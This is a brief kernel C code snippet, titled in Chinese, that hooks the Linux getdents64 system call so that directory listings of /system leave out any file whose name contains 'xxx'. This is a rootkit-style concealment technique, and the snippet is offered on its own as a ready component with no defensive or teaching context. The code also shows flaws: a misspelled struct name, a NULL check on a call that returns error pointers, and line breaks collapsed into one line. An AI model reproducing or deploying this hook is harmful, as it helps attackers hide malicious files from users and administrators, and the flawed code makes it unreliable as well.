hook sys_getdents64隐藏文件

long (*orig_getdents64)(unsigned int fd, struct linux_dirents64 *dirp, unsigned int count);unsigned long system_ino = -1;  // ino of /systemvoid system_ino_init(void){    struct file *filp;    if ((filp = filp_open("/system", O_RDONLY, 0)) != NULL)    {        system_ino = filp->f_dentry->d_inode->i_ino;        filp_close(filp, NULL);    }}asmlinkage long hacked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count){    long ret, tmp;    struct linux_dirent64 *td;    ret = orig_getdents64(fd, dirp, count);    /* Only hide file in /system */    if (unlikely(dirp->d_ino == system_ino))    {        td = dirp;        tmp = ret;        while (tmp > 0)         {            tmp -= td->d_reclen;            if (strstr(td->d_name, "xxx") != NULL)             {                ret -= td->d_reclen;                if (tmp)                    memmove(td, (char *)td + td->d_reclen, tmp);            }            else            {                td = (struct linux_dirent64 *)((char *)td + td->d_reclen);            }        }    }    return ret;}